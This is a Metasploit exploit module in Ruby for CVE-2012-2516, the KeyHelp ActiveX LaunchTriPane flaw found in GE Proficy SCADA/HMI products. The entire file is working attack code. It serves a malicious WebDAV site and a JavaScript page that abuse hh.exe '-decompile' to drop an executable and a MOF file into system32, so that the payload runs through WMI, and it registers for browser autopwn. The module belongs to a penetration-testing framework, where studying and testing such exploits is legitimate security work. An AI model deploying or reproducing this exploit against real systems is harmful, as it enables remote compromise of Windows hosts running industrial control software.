KeyHelp ActiveX LaunchTriPane Remote Code Execution Vulnerability



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE
    include Msf::Exploit::WbemExec

    include Msf::Exploit::Remote::BrowserAutopwn
    autopwn_info({
        :os_name    => OperatingSystems::WINDOWS,
        :ua_name    => HttpClients::IE,
        :javascript => true,
        :rank       => NormalRanking,
        :classid    => "{45E66957-2932-432A-A156-31503DF0A681}",
        :method     => "LaunchTriPane",
    })

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'KeyHelp ActiveX LaunchTriPane Remote Code Execution Vulnerability',
            'Description'    => %q{
                    This module exploits a code execution vulnerability in the KeyScript ActiveX
                control from keyhelp.ocx. It is packaged in several products or GE, such as
                Proficy Historian 4.5, 4.0, 3.5, and 3.1, Proficy HMI/SCADA 5.1 and 5.0, Proficy
                Pulse 1.0, Proficy Batch Execution 5.6, and SI7 I/O Driver between 7.20 and 7.42.
                When the control is installed with these products, the function "LaunchTriPane"
                will use ShellExecute to launch "hh.exe", with user controlled data as parameters.
                Because of this, the "-decompile" option can be abused to write arbitrary files on
                the remote system.

                    Code execution can be achieved by first uploading the payload to the remote
                machine, and then upload another mof file, which enables Windows Management
                Instrumentation service to execute it. Please note that this module currently only
                works for Windows before Vista.

                On the other hand, the target host must have the WebClient service (WebDAV
                Mini-Redirector) enabled. It is enabled and automatically started by default on
                Windows XP SP3
            },
            'Author'         =>
                [
                    'rgod <rgod[at]autistici.org>', # Vulnerability discovery
                    'juan vazquez' # Metasploit module
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2012-2516' ],
                    [ 'OSVDB', '83311' ],
                    [ 'BID', '55265' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-169/' ],
                    [ 'URL', 'http://support.ge-ip.com/support/index?page=kbchannel&id=S:KB14863' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'           => 2048,
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    #Windows before Vista because of the WBEM technique
                    [ 'Automatic', { } ],
                ],
            'DisclosureDate' => 'Jun 26 2012',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
                OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
            ], self.class)
    end

    def on_new_session(client)
        print_status("The exe payload (C:\\windows\\system32\\msfmsf.exe) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\msfmsf.mof) must be removed manually.")
    end

    def auto_target(cli, request)
        agent = request.headers['User-Agent']

        ret = nil
        # Check for MSIE and/or WebDAV redirector requests
        if agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
            ret = targets[0]
        elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
            ret = targets[0]
        elsif agent =~ /MSIE/
            ret = targets[0]
        else
            print_error("Unknown User-Agent: #{agent}")
        end

        ret
    end


    def on_request_uri(cli, request)

        mytarget = target
        if target.name == 'Automatic'
            mytarget = auto_target(cli, request)
            if (not mytarget)
                send_not_found(cli)
                return
            end
        end

        # If there is no subdirectory in the request, we need to redirect.
        if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
            if (request.uri == '/')
                subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
            else
                subdir = request.uri + '/'
            end
            print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
            send_redirect(cli, subdir)
            return
        end

        # dispatch WebDAV requests based on method first
        case request.method
        when 'OPTIONS'
            process_options(cli, request, mytarget)

        when 'PROPFIND'
            process_propfind(cli, request, mytarget)

        when 'GET'
            process_get(cli, request, mytarget)

        when 'PUT'
            print_status("Sending 404 for PUT #{request.uri} ...")
            send_not_found(cli)

        else
            print_error("Unexpected request method encountered: #{request.method}")

        end

    end


    #
    # GET requests
    #
    def process_get(cli, request, target)

        print_status("Responding to GET request #{request.uri}")
        # dispatch based on extension
        if (request.uri =~ /\.chm$/i)
            #
            # CHM requests sent by IE and the WebDav Mini-Redirector
            #
            if request.uri =~ /#{@var_exe_name}/
                print_status("Sending CHM with payload")
                send_response(cli, @chm_payload, { 'Content-Type' => 'application/octet-stream' })
            elsif request.uri =~ /#{@var_mof_name}/
                print_status("Sending CHM with mof")
                send_response(cli, @chm_mof, { 'Content-Type' => 'application/octet-stream' })
            else
                send_not_found(cli)
            end
        else
            #
            # HTML requests sent by IE and Firefox
            #
            my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
            path = request.uri.gsub(/\//, '\\\\\\')
            payload_unc = '\\\\\\\\' + my_host + path + @var_exe_name + '.chm'
            mof_unc = '\\\\\\\\' + my_host + path + @var_mof_name + '.chm'
            print_status("Using #{payload_unc} for payload...")
            print_status("Using #{mof_unc} for the mof file...")

            html = <<-HTML
            <html>
            <body>
            <script>
            KeyScript = new ActiveXObject("KeyHelp.KeyScript");

            ChmPayloadFile = "-decompile C:\\\\WINDOWS\\\\system32\\\\ #{payload_unc}";
            ChmMofFile = "-decompile c:\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\ #{mof_unc}";

            KeyScript.LaunchTriPane(ChmPayloadFile);
            setTimeout('KeyScript.LaunchTriPane(ChmMofFile);',3000);
            </script>
            </body>
            </html>
            HTML

            html.gsub!(/\t\t\t/, '')

            print_status("Sending HTML page")
            send_response(cli, html)

        end
    end


    #
    # OPTIONS requests sent by the WebDav Mini-Redirector
    #
    def process_options(cli, request, target)
        print_status("Responding to WebDAV OPTIONS request")
        headers = {
            #'DASL'   => '<DAV:sql>',
            #'DAV'    => '1, 2',
            'Allow'  => 'OPTIONS, GET, PROPFIND',
            'Public' => 'OPTIONS, GET, PROPFIND'
        }
        send_response(cli, '', headers)
    end


    #
    # PROPFIND requests sent by the WebDav Mini-Redirector
    #
    def process_propfind(cli, request, target)
        path = request.uri
        print_status("Received WebDAV PROPFIND request")
        body = ''

        if (path =~ /\.chm/i)
            print_status("Sending CHM multistatus for #{path} ...")
            body = %Q|<?xml version="1.0"?>
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
<a:response>
</a:response>
</a:multistatus>
|
        elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
            print_status("Sending 404 for #{path} ...")
            send_not_found(cli)
            return

        elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
            # Response for anything else (generally just /)
            print_status("Sending directory multistatus for #{path} ...")
            body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

        else
            print_status("Sending 404 for #{path} ...")
            send_not_found(cli)
            return

        end

        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml'
        cli.send_response(resp)
    end

    def generate_payload_chm(data)
        path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2012-2516", "template_payload.chm")
        fd = File.open(path, "rb")
        chm = fd.read(fd.stat.size)
        fd.close
        chm << data
        chm
    end

    def generate_mof_chm(data)
        path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2012-2516", "template_mof.chm")
        fd = File.open(path, "rb")
        chm = fd.read(fd.stat.size)
        fd.close
        chm << data
        chm
    end

    #
    # When exploit is called, generate the chm contents
    #
    def exploit
        if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
            fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
        end

        @var_mof_name = rand_text_alpha(7)
        @var_exe_name = rand_text_alpha(7)
        payload_contents = generate_payload_exe
        mof_contents = generate_mof("msfmsf.mof", "msfmsf.exe")
        @chm_payload = generate_payload_chm(payload_contents)
        @chm_mof = generate_mof_chm(mof_contents)

        super
    end

end